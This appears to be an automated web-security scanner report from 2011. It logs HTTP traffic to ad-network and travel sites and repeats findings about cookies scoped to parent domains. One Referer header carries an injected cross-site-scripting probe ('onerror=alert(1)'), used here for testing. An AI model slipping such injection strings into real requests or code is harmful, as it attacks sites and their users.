HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Sun, 02 Oct 2011 23:50:07 GMT Content-Length: 8096 Connection: close Set-Cookie: JY57=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.collective-media.net
var cid='';function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=cadfdd83c0000d7||t=1317602399|et=730|cs=002213fd48bae36ca9fa1ef88a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:39:59 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:39:59 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Date: Mon, 03 Oct 2011 00:39:59 GMT Location: http://s0.2mdn.net/viewad/2195126/4-1.gif Cache-Control: no-cache Pragma: no-cache Set-Cookie: id=cadfdd83c0000d7||t=1317602399|et=730|cs=002213fd48bae36ca9fa1ef88a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:39:59 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:39:59 GMT Server: GFE/2.0 Content-Type: text/html
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=ca5b4d83c000017||t=1317599554|et=730|cs=002213fd4884e3bed7d9e725fe; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:52:34 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:52:34 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7472 Set-Cookie: id=ca5b4d83c000017||t=1317599554|et=730|cs=002213fd4884e3bed7d9e725fe; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:52:34 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:52:34 GMT Date: Sun, 02 Oct 2011 23:52:34 GMT Expires: Sun, 02 Oct 2011 23:52:34 GMT Cache-Control: private
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c28c1d83c000039||t=1317600006|et=730|cs=002213fd48e65c670a029fff3e; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:06 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:06 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7661 Set-Cookie: id=c28c1d83c000039||t=1317600006|et=730|cs=002213fd48e65c670a029fff3e; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:06 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:06 GMT Date: Mon, 03 Oct 2011 00:00:06 GMT Expires: Mon, 03 Oct 2011 00:00:06 GMT Cache-Control: private
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c15cfd83c000083||t=1317600590|et=730|cs=002213fd480e0d8c5cbf724fda; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:50 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:50 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 4435 Set-Cookie: id=c15cfd83c000083||t=1317600590|et=730|cs=002213fd480e0d8c5cbf724fda; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:50 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:50 GMT Date: Mon, 03 Oct 2011 00:09:50 GMT Expires: Mon, 03 Oct 2011 00:09:50 GMT Cache-Control: private
document.write('<!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -->\n<!-- Copyright 2006 DoubleClick Inc., All rights reserved. -->\n<script src=\"http://s0.2mdn.net/879366/ ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=ce2ced83c000015||t=1317600592|et=730|cs=002213fd48e3531570c028be26; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:52 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:52 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 8491 Set-Cookie: id=ce2ced83c000015||t=1317600592|et=730|cs=002213fd48e3531570c028be26; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:52 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:52 GMT Date: Mon, 03 Oct 2011 00:09:52 GMT Expires: Mon, 03 Oct 2011 00:09:52 GMT Cache-Control: private
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Sep 16 16:30:33 EDT 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=cc4c0d83c0000c2||t=1317600005|et=730|cs=002213fd48de979b12208ed0a7; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:05 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:05 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5952 Set-Cookie: id=cc4c0d83c0000c2||t=1317600005|et=730|cs=002213fd48de979b12208ed0a7; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:00:05 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:00:05 GMT Date: Mon, 03 Oct 2011 00:00:05 GMT Expires: Mon, 03 Oct 2011 00:00:05 GMT Cache-Control: private
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Sep 07 14:26:44 EDT 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c2dc0d83c00000a||t=1317599968|et=730|cs=002213fd481295e253bf9da118; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:59:28 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:59:28 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 463 Set-Cookie: id=c2dc0d83c00000a||t=1317599968|et=730|cs=002213fd481295e253bf9da118; path=/; domain=.doubleclick.net; expires=Tue, 01 Oct 2013 23:59:28 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 01 Oct 2011 23:59:28 GMT Date: Sun, 02 Oct 2011 23:59:28 GMT Expires: Sun, 02 Oct 2011 23:59:28 GMT Cache-Control: private
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
id=c9aced83c00000a|644190/486643/15250|t=1317600576|et=730|cs=002213fd4868e541ded676c08a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:36 GMT
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:36 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.orbitz.com/psi?type=hotel&market=Boston,United%20States&checkin=2011-10-04&checkout=2011-10-07&guests=1&rooms=1&WT.mc_id=o_igo_merch_city_dated&WT.mc_ev=click&gcid=C11287x600-CYBoston,United%20States Set-Cookie: id=c9aced83c00000a|644190/486643/15250|t=1317600576|et=730|cs=002213fd4868e541ded676c08a; path=/; domain=.doubleclick.net; expires=Wed, 02 Oct 2013 00:09:36 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sun, 02 Oct 2011 00:09:36 GMT Date: Mon, 03 Oct 2011 00:09:36 GMT Server: GFE/2.0 Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
var prwin=window;if(!prwin.prRefs){prwin.prRefs={};};prwin.prSet=function(n,v){if((typeof(n)!='undefined')&&(typeof(v)!='undefined')){prwin.prRefs[n]=v;}};prwin.prGet=function(n){if(typeof(prwin.prRef ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jsonp?callback=jsonp1317602099165&_=1317602106541 HTTP/1.1 Host: api.wipmania.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: nginx Date: Mon, 03 Oct 2011 00:01:20 GMT Content-Type: image/gif Connection: close Set-Cookie: BMX_G=method%2D%3E%2D1%2Cts%2D%3E1317599974%2E004%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com; Content-length: 42 P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
ar_p119936314=exp=2&initExp=Sun Oct 2 23:59:13 2011&recExp=Mon Oct 3 00:00:22 2011&prad=71054945&arc=43921374&; expires=Sun 01-Jan-2012 00:00:22 GMT; path=/; domain=.voicefive.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
cc.i.10449=13713%7Cguardian.co.uk%7C5827704%7CRubicon%7C10449%7Cnamemedia%7C11720%7Cbroad; Domain=chango.com; expires=Tue, 01 Nov 2011 23:58:02 GMT; Path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /users/20826/userfly.js HTTP/1.1 Host: asset.userfly.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.sabretravelnetwork.com/map.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Server: GlassFish v3 CW-Server: cw-app605 Cache-Control: no-cache, no-store Set-Cookie: V=PpAVCxNh2PJr99f871d6edb7aea19dd0bf8; Domain=.contextweb.com; Expires=Wed, 26-Sep-2012 23:50:17 GMT; Path=/ Set-Cookie: pb_rtb_ev="1:537085.439524AE8C6B634E021F5F7802166020.0|535461.2925993182975414771.0|535039.NPgmRuqc1g7o5ImOP5HZYnndqUL92n1F.0|530739.99f871d6ab8391d98e386b3c.0|538569.6c3113bb-f725-48c4-b3a2-8b266db2aca9.0|534301.d1b27788-0a91-4596-9a96-e9dad20b3180.0|535495.b6ae888c-d95b-11e0-b096-0025900e0834.0|531292.OO-00000000000000000.0|537583.f9bdca69-e609-4297-9145-48ea56a0756c.0"; Version=1; Domain=.contextweb.com; Max-Age=31536000; Expires=Mon, 01-Oct-2012 23:50:17 GMT; Path=/ Location: http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-00000000000000000 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 239 Date: Sun, 02 Oct 2011 23:50:17 GMT P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
<html> <head><title>Document moved</title></head> <body><h1>Document moved</h1> This document has moved <a href="http://m.xp1.ru4.com/meta?_o=179638&_t=dm&ssv_p=cw&ssv_u=OO-000000000000 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Object moved Cache-Control: no-store Content-Length: 0 Expires: 0 Location: http://www.cmegroup.com/advance/ P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC" Set-Cookie: ach00=eb2a/1c72:ec40/2f33:233cf/1a43a:8bff/7db; expires=Wednesday, 02-Oct-2013 00:00:00 GMT; path=/; domain=.atdmt.com Set-Cookie: ach01=da2c1b5/1c72/e2f178b/eb2a/4e67d23e:da2c0cc/1c72/85c9f4b/eb2a/4e67d832:ca9bfb6/2f33/14f1ae7d/ec40/4e67d8e2:e1f70b5/1a43a/1403b670/233cf/4e73f21b:c766ac0/7db/15006974/8bff/4e89013e; expires=Wednesday, 02-Oct-2013 00:00:00 GMT; path=/; domain=.atdmt.com Date: Mon, 03 Oct 2011 00:26:39 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"> <script type="text ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
ZFFAbh=977B826,20|121_977#365;expires=Sun, 01 Jan 2012 00:15:53 GMT;domain=.zedo.com;path=/;
ZFFBbh=1006B826,20|121_977#0;expires=Tue, 02 Oct 2012 00:15:53 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /BlueSquare/selector/client?client=BlueSquare&placement=Guardian_300x312_Football_Premiership HTTP/1.1 Host: ff.connextra.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.guardian.co.uk/football/manchester-united Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 X-Served-By: vm-pcxtad05.gs1.betgenius.com P3P: CP=NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR SAMa BUS IND UNI PUR COM NAV Location: http://ff.connextra.com/servlet/controller?service=Guardian_300x312_Football_Premiership_v2&client=BlueSquare&placement=Guardian_300x312_Football_Premiership Content-Length: 0 Expires: Sun, 02 Oct 2011 23:50:54 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sun, 02 Oct 2011 23:50:54 GMT Connection: close Set-Cookie: FrequencyCappingCookie=; Domain=.connextra.com; Expires=Mon, 01-Oct-2012 23:50:54 GMT; Path=/BlueSquare Set-Cookie: BlueSquare=A%7Cpostimpression%7C1%7C201110030050%7C7%7CGuardian_300x312_Football_Premiership%7CGuardian_300x312_Football_Premiership_v2%7C; Domain=.connextra.com; Expires=Mon, 01-Oct-2012 23:50:54 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pagead/viewthroughconversion/985248306/?label=M6MLCJbtiQIQsuTm1QM5a299 HTTP/1.1 Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5 Referer: http://www.agoda.com/pages/agoda/default/page_AdScript.aspx?type=R&pagetypeid=1&conversionID=985248306&conversionLabel=M6MLCJbtiQIQsuTm1QM5a299"onerror%3d"alert(1)"d0370ac32b&_=1317602266727 Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: googleads.g.doubleclick.net Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Mon, 03 Oct 2011 00:55:57 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif Set-Cookie: test_cookie=CheckForPermission; expires=Mon, 03-Oct-2011 01:10:57 GMT; path=/; domain=.doubleclick.net X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotelimages/s/028000/028920A-thumb.jpg HTTP/1.1 Host: images.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotelplanner.com/Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: p219r=b$u-77#A.8Qp|i-H!FaxnS5xi!8TG!8Vy!IJ3~#1.8Qp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:41:22 GMT; Path=/ Set-Cookie: imp=a$le#1317602482047_282671641_ap3100_int|194#1317602303729_239168105_as3104_imp|374#1316278116134_138322589_as3104_imp|308#1316265127233_137611811_as3107_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:41:22 GMT; Path=/tase P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Type: image/gif Content-Length: 43 Date: Mon, 03 Oct 2011 00:41:21 GMT Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: p270r=b$u-7#A.8Qp|i-1643195#2.8Qp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/ Set-Cookie: imp=a$le#1317600624289_282559054_ap3100_int|374#1316278116134_138322589_as3104_imp|308#1316265127233_137611811_as3107_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/tase P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html;charset=UTF-8 Content-Length: 352 Date: Mon, 03 Oct 2011 00:10:23 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:09:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Set-Cookie: ACID=optout!; domain=advertising.com; expires=Wed, 02-Oct-2013 00:09:02 GMT; path=/ Cache-Control: private, max-age=3600 Expires: Mon, 03 Oct 2011 01:09:02 GMT Content-Type: image/gif Content-Length: 49
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
opvc=!3919,CgVvcGVueBIkMjg5MjMxMGQtNDYwYS00Y2UzLWJjMjYtNDNhMDhkZmQ1YTcxIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBH1GFLMK6OU.8QT8HNVps3f8P.gEAIAFAYIHB1dpbmRvd3M#,1317600778; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
pvmap=!3919,1317600778,ova!3919,1317600740,ova!3919,1317600698,ova!3919,1317600201,ova3; path=/; expires=Wed, 02 Oct 2013 00:12:58 GMT; domain=.wtp101.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
opvc=!3919,CgVvcGVueBIkMmQ3NDZmNTAtNmY5Yi00NmZiLWJlZmItNmM1YjNmYzNmYzAwIW3yiNFWl-A.KAowowU47amfhAdAxPVVSgczMDB4MjUwWhNodHRwOi8vd3d3LmdvYWwuY29tYghnb2FsLmNvbXoA-gEkYjViZWQzMjItMGQ0Zi1mODYwLWY1ZTktMTE5MDc4Mjk3ZDY1gAKNjQSIAhmQAtoT2gMNNTAuMjMuMTIzLjEwNuIDAlVT6gMCVFjwA-8E-gMGRGFsbGFzggQAigQCZW6SBAJlbpoEak1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0LjAuODM1LjE4NyBTYWZhcmkvNTM1LjGiBAZDaHJvbWWyBCQ5NDY5N2IzZi00YThlLWU4ZmQtNTZkMi1lNDI4MGU2ZWIyNTK6BCRmOWJkY2E2OS1lNjA5LTQyOTctOTE0NS00OGVhNTZhMDc1NmPpBAAAAAAAAAAA8QQAAAAAAAAAAPgEAIAFAYIHB1dpbmRvd3M#,1317600201; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
pvmap=!3919,1317600201,ova3!3919,1317600201,ova3; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
